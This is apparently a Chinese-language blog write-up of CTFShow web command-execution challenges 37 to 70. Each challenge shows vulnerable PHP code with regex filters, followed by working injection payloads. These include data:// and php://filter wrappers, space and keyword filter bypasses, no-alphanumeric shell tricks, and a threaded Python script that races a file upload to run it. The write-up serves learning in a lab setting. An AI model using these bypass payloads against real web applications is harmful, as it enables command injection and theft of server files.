CTFShow-Web入门-命令执行 37-70

data://

用法:data://text/plain;base64,

web37

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

payload:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgKicpOw==

web38

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

payload:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgKicpOw==

web39

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

payload:?c=data://text/plain,<?php system('cat *');?>

web40

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
} 

这道题和 GXZCTF 的 禁止套娃 类似,同时payload也可以套用

payload:?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

web41

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

自己没做出来,查了好久找到个wp,

先放个 payload:

c=' ');('%60%60%60%60%60%60'|'%13%19%13%14%05%0d')(('%03%01%14'|'%60%60%60').' *');//

system('cat *')

web42

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

我们可以 注释符#(%23) 来代替

①payload1:?c=cat fl*;

②payload2:?c=cat fl* %23

web43

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

 cat 被过滤 ,查看一下其他的一些查看文件内容的命令

cat     由第一行开始显示档案内容
tac     从最后一行开始显示,可以看出 tac 是 cat 的倒着写
more    一页一页的显示档案内容
less    与 more 类似,但是比 more 更好的是,他可以往前翻页
head    只看头几行
tail    只看尾巴几行
nl      显示的时候,顺道输出 行号
od      以二进制的方式读取档案内容
awk 样式扫描和处理文件

另外 分号被过滤 (可是使用 注释符# 或者 管道符 ||)

①使用 cat 以外的命令

payload1:?c=tac f*||

②使用 cat 命令

payload2:?c=c"a"t f*||

web44

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

payload 同 43

web45

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

空格 被过滤了

 

空格绕过

> < <> 重定向符
%09(需要php环境)
${IFS}
$IFS$9
{cat,flag.php} //用逗号实现了空格功能
%20
%09

payload1:?c=tac%09f*%09||

web46

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

 过滤了 $ (如果前面用 ${IFS} 的话这里就不行了)同时过滤了 *

① * 可以用 ? 来绕过

payload1:?c=tac%09fla??php%09||

payload2:?c=awk%09'/f/'%09fla?.php||

web47

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了几个 文件读取命令 ,但是我们的还能用

payload 同 46

web48

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

没过滤 tac ,还能用

payload 同 46

web49

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了 百分号 ,对我们的影响不大

payload 同 46

web50

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了 %09 和 %26 我们可以用其他来代替

payload:?c=c''a''t<>fl'a'g.php||

web51

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤了 tac

payload 同 50

web52

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了 >< 但是 $ 没有被过滤 所以我们能使用 ${IFS}

用 ?c=ls${IFS}-al${IFS}|| 查看文件

payload:?c=ca''t${IFS}/fl''ag||  

web53

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

payload:?c=ca''t${IFS}fl''ag.php%0a%23

web54

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

①此处 grep 未被过滤

grep test *file   #在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行

payload1:?c=grep${IFS}%27{%27${IFS}fla??php

②使用通配符绕过

payload2:?c=/bin/ca?${IFS}f???.php%0a%23

web55

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

这题是看大佬的博客的,详情见 https://www.cnblogs.com/NPFS/p/13797436.html

还有知识点: https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

①bin目录:

bin目录主要放置一些系统的必备执行档,如cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等

这里我们可以用 base64里的64进行通配符匹配,即 ?c=/bin/base64 flag.php

payload1:?c=/???/????base64%20????.???

②/usr/bin目录:

主要放置一些应用软件工具的必备执行档,如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等

因此我们可以利用/usr/bin下的 bzip2

payload2:?c=/???/???/????2 ????.???

                   接着访问 url/flag.php.bz2 得到flag

web56

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

 过滤的东西变多了

还是看上面 p神的文章,上传一个文件,然后用  .file 来执行文件

exp如下:

import requests
import threading

url = 'http://21fab4a5-7ccf-4cb7-b5d3-b101e5c33634.chall.ctf.show/'
payload = '?c=.+/???/????????[@-[]'


def post():
    files={
        'upload':'#!/bin/sh\necho 1433223\ncat flag.php'
    }
    r=requests.post(url,files=files)

def req():
    r=requests.get(url+payload)
    if '1433223' in r.text:
        print(r.text)    

for i in range(50):
    threading.Thread(target=post,args=()).start()
    threading.Thread(target=req,args=()).start()

web57

// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

$ { _ }构成shell

echo ${_}                        #返回上一次的执行结果
echo $(())                       #执行结果为 0
echo $((~$(())))                 #~0的执行结果为 -1
echo $(($((~$(())))$((~$(()))))) #$((-1-1))结果为-2
echo $((~-37))                   #~37 结果为36

payload:?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

web58-65

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

payload1:c=show_source('flag.php');

payload2:POST:c=include($_GET['url']);     GET:?url=php://filter/read=convert.base64-encode/resource=flag.php

web66

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

前面的无法使用了 ,于是先查看一下根目录的文件

POST:c=print_r(scandir("/"));

payload:POST:c=highlight_file("/flag.txt");

web67

查看文件的 print_r 无法使用,用 var_dump 代替

POST:c=var_dump(scandir("/"));

payload:POST:c=highlight_file("/flag.txt");

web68

highlight_file() 也被禁用 

用 include 

payload:c=include("/flag.txt");

web69

这里查看文件的 var_dump 也被禁用了

用 var_export 

POST:c=var_export(scandir("/"));

同 68

web70

能达到和 highlight_file 相同效果的 ini_set() 和 error_reporting() 无法使用

payload 同68

posted @ 2020-10-23 20:41  airtail  阅读(438)  评论(0编辑  收藏  举报